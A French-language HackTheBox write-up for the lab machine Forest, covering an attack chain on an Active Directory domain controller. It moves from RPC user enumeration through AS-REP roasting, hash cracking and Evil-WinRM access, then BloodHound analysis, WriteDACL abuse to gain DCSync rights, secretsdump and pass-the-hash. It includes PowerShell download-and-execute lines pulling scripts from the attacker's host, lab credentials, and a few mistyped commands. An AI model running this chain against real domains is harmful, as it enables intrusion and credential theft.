> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # Récapitulatif HackTheBox de Forest Récapitulatif de la machine HackTheBox Windows facile Forest couvrant l'attaque AXFR - transfert de zone de domaine (échouée), l'énumération RPC - obtention d'utilisateurs de domaine valides, l'exécution d'une attaque AS-RepRoast avec les utilisateurs obtenus {% embed url="" %} {% hint style="warning" %} **Compétences :** * AXFR - Attaque de transfert de zone de domaine (échec) * Énumération RPC - Obtention d'utilisateurs valides du domaine * Réalisation d'une attaque AS-RepRoast avec les utilisateurs obtenus * Cassage des hachages * Abus de WinRM - EvilWinRM * Énumération LDAP - ldapdomaindump * Énumération BloodHound * Collecte des informations système avec SharpHound.ps1 - PuckieStyle * Représentation et visualisation des données dans BloodHound * Recherche d'un vecteur d'attaque dans BloodHound * Abus du groupe Account Operators - Création d'un nouvel utilisateur * Abus du groupe Account Operators - Attribution d'un groupe à l'utilisateur nouvellement créé * Abus de WriteDacl dans le domaine - Attribution des privilèges DCSync * Exploitation DCSync - Secretsdump.py {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**Analyse des ports ouverts avec extractport :**/ En utilisant la fonction extractport pour afficher les ports ouverts de façon concise et les copier dans le presse-papiers.

**Analyse des versions de ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **Liste et opération :** ### **Reconnaissance SMB :** Utilisation de CrackMapExec pour identifier le système d'exploitation ```bash crackmapexec cmb 10.10.10.161 ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP / est inséré dans le `/etc/hosts` fichier.

/*/Exploration des partages SMB sur le réseau afin d'identifier les ressources partagées, mais sans résultat. //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **Reconnaissance RPC :** Utilisation de rpcclient pour interagir avec les services CPP et collecter des informations sur les ressources ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### Liste des groupes : ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## Attaque ASREPRoast : #### Avec une liste d'utilisateurs valides, nous allons mener une attaque AS-RepRoast car nous n'avons pas besoin des mots de passe des utilisateurs. Nous allons utiliser `grep` pour filtrer les noms d'utilisateur, puis insérer ces données dans un fichier ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### Nous utilisons l'outil GetNPUsers.py pour extraire les informations des utilisateurs sans mot de passe : ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### Nous récupérons le hachage du mot de passe de l'utilisateur "lucinda" et essayons de le casser avec John the Ripper en utilisant une liste de mots de passe prédéfinie : ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### Nous utilisons CrackMapExec pour vérifier si le mot de passe cassé est correct en tentant une connexion WinRM : ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### Enfin, nous utilisons Evil-WinRM pour nous connecter à la machine distante avec les identifiants cassés : ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## Élévation de privilèges : ### Énumération du domaine avec BloodHound

Installation de BloodHound :

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*/Connexion à BloodHound avec les identifiants neo4j:neo4j. //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **Lancement de BloodHound.** ```bash bloodhound &> /dev/null & disown ```

### Collecte des informations avec SharpHound.ps1 {% embed url="" %} ### Transférer les données collectées vers un serveur Linux. ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### Nous transférons le fichier zip à notre équipe. ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*/Importer le fichier zip dans BloodHound. //*

### Analyse et opérations avec BloodHound #### Filtrage des données pour trouver le chemin le plus court vers l'administrateur du domaine.

#### Identification de l'appartenance à un groupe potentiellement problématique (Account Operator).

#### Utilisation de la capacité de création d'utilisateur pour préparer une attaque DCSync. ```bash net user jordanmacia password123$ /add /domain ```

### Tentative DCSync sans droits suffisants ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### Utilisateur ajouté à un groupe disposant de privilèges plus élevés (`Permissions Windows Exchange`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### Attaque WriteDACL :

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` Préparation de l'attaque WriteDACL à l'aide de PowerView\.ps1 pour ajouter des fonctionnalités. {% embed url="" %}

#### Transfert de fichier ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## Vulnérabilité d'attaque DCSync #### Exécutez la commande Add-DomainObjectAcl pour obtenir les hachages. ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### Utilisation d'Impacket pour extraire les hachages avec l'utilisateur jordanmacia. ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### Attaque Pass-the-Hash : Utilisation du hachage NT de l'administrateur pour l'attaque Pass-the-Hash. ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### Accès au système avec les droits d'administrateur.

### Drapeau final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.